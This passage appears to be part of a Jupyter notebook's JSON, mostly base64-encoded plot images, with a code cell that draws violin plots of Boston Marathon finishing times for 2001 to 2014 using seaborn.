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\n8r73ve9p8+bNwX+n9qhXVFSooaFBjY2N6tSp035/3tjYmM1qtZvneVq9+s+SpGnTZuTVBcyG5JbV\nibLZSYC07wiFZNl0FrUP5Xme/vzndyTZ8d21kU0743qep+XLn5Fkx5q81LPULrhgstHvovJyN0je\nbZhqbdMIfNJpp51hTQeN67rBNTb/fs7fqTM5nZeX+qVubGxUZWWlOnbsuN8hoJ7nqbKy8pCf06WL\nq+Li9BY2Hg2+H1Nzc2Ib5w4dIurevdNh/kZh8/19vUwDBvQ1Pl5J6tixTI7jWBFrY2O3oNyrVzej\nY25s3BFMTfX9PerevWfINcou140Eu4kee2yPYKq8yf7whz/IcRx973vfC7sqWee6Ee3dm7ifu3Xr\nZPz13b59Y1D2/Wbjn1XJjnAbnlXdu/+9evfuLcdxdPLJfx92dbKusbFRv/71o5Kkf/iHicZ/dxsb\nnWC9penPqnx+TuU0yRsyZIhWr16tU045RStXrtRpp52mYcOG6ec//7laWlrU3NysdevWadCgQYf8\nnPr63G4YEYu1BevUYrE21dQ05PT355rjdNDgwSdIcuQ4HYyP1/M8PfroY5KkE04YZnzveCTSIehN\ndJxyo69vc/O+HrY9e8z/7nqep+LiEjmOtGNHg5qa2sKuUlZ5nqf/+I/EdD4bvrue56mtLXFP23B9\nt23bt1nF1q216tbN3O9vfb23X7miwtxYpcS9vHVr4jzeDRu2Gv/d/fjjD4MkfvXqD/dbFmOi5JmA\nkvTJJ59p4MATQqxNdm3dWpdSzv1z6lBJZU6SvGSDct68ebrrrrsUj8c1YMAATZw4UY7jaMaMGZo2\nbZra2tpUXV2dV5uuSMnza3I3chg2z/O0YcMGSeZvsS/ZNX1RSuzilnzZ1NXVGn19kwfu2rLFvuMo\n756f2RSLeWputufICNvWD6duUFFeXn6Inyx80Wi3YLaTDbsR1tbuCNZsmf4ekqSWln27dyefWSZz\n3X1TNE3faKa5uSmlnF/XNutJXp8+ffTss89Kko477jgtW7bsb35m8uTJmjx5crarcsQSL1abGk5N\nVjWcbNu8wba1EFdeOSvsKuSMbfey61YEjX/z133Yt374mGOODbYmN/2MWt+3q51RUbHv+2rDM/Rv\n3wAAE9BJREFUuXH9+/cPyscd1/8QP2mGZAJvg/0T+OYQa/K37Nor/wjZt211/i4izRYbzmFKSu7y\n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\nAAb5/5MatYfMMzwQAAAAAElFTkSuQmCC\n", "text": [ "<matplotlib.figure.Figure at 0x121de5c10>" ] } ], "prompt_number": 136 }, { "cell_type": "code", "collapsed": false, "input": [ "f, ax1 = plt.subplots(1)\n", "ax1.set_title(\"Boston Marathon times 2001-2014\")\n", "seaborn.violinplot(pd.Series(alltimes.loc[:, \"official\"], name=\"time in minutes\"), groupby=alltimes.year, ax=ax1)" ], "language": "python", "metadata": {}, "outputs": [ { "metadata": {}, "output_type": "pyout", "prompt_number": 131, "text": [ "<matplotlib.axes.AxesSubplot at 0x119b6c750>" ] }, { "metadata": {}, "output_type": "display_data", "png": "iVBORw0KGgoAAAANSUhEUgAAA3kAAAJoCAYAAADbDShfAAAABHNCSVQICAgIfAhkiAAAAAlwSFlz\nAAALEgAACxIB0t1+/AAAIABJREFUeJzs3XmcHHWdP/5X3X3NTCYhXAoB8gCyq+CCgIsccvhQQFg5\nzHIt8HOBVfHYhVUfiRqCHAGUldOvoLLLElBAcgirsCz3tYo+dFUgB4Qc5JjJXD19V1d11e+P6qru\nuWeS6enqT72ej4fOTM+RT9FXver9+bw/kuu6LoiIiIiIiEgIcrMHQERERERERNOHIY+IiIiIiEgg\nDHlEREREREQCYcgjIiIiIiISCEMeERERERGRQBjyiIiIiIiIBMKQR0QkiK1bt+Kv/uqvcPbZZ+Ps\ns8/GWWedhb//+7/HH/7wh13+m3/+85+xdOnSaRvj3XffjQULFmDFihVDbi8UCjjiiCPwxS9+cdr+\nrWw2i0svvTT4esGCBUin09P29+u9+OKLuOuuuwAAzz//PG688caG/DtjKZVKWLx4Mc466yyceeaZ\n+Na3vgXTNAEAmzZtwkUXXYTPfOYzWLhwId57773g9x5//HGcccYZ+PSnP43rrrsOtm0P+btr167F\n8ccfP+6//corr+C8887D2WefjXPPPRevvvpq8L17770Xp59+Oj71qU/hnnvuGfG7r776Ks4+++xR\n/+6zzz6Lj370o5P+b0BERDUMeUREAonFYli9ejVWr16NJ598Ep///OexePHiXf577777Lrq7u6dt\nfJIkYd9998UTTzwx5PZnnnkGyWRy2v4dABgcHMRf/vKXIbc1amvYv/zlLxgcHAQAnHLKKfjOd77T\nkH9nLD/60Y/gui6efPJJPPHEEzBNE/fddx8A4Otf/zouvvhi/OpXv8JXv/pVfO1rXwMArF+/Hvfc\ncw8efvhhPP3008hms3jggQcAAJVKBQ888AAuv/xyFAqFMf/dbDaLr3/96/je976H1atX4+abb8bV\nV1+NfD6Pl156Cf/93/+NVatW4b/+67/w29/+Fk899RQAL5TefvvtuPrqq1GpVEb83U2bNuHWW29t\n2P1FRCQ6tdkDICKixhkYGMCee+4ZfP3oo4/ioYcegizL2GOPPbBkyRIccMAB+P3vf49bb70VlUoF\nkiThC1/4Ag4//HDcddddyOVy+Na3voVly5aN+fuLFi1CKpXC+vXr0dXVhYMOOgg/+MEPkEgkRozp\n+OOPx3PPPYfu7m7stddeAIBVq1bhrLPOwsaNGwEAGzduxPXXX49isYidO3diwYIFuOOOO6DrOj78\n4Q/jk5/8JNauXYvbbrsNa9euxWOPPQbLsjA4OIgrr7wSF154IRYvXgzTNHHOOecElcO7774b//d/\n/4d0Oo3LL78cF198MQDghz/8IX79619DURQccMABuPbaa7HHHnvgkksuwRFHHIE//OEP2L59O446\n6ijceuutkC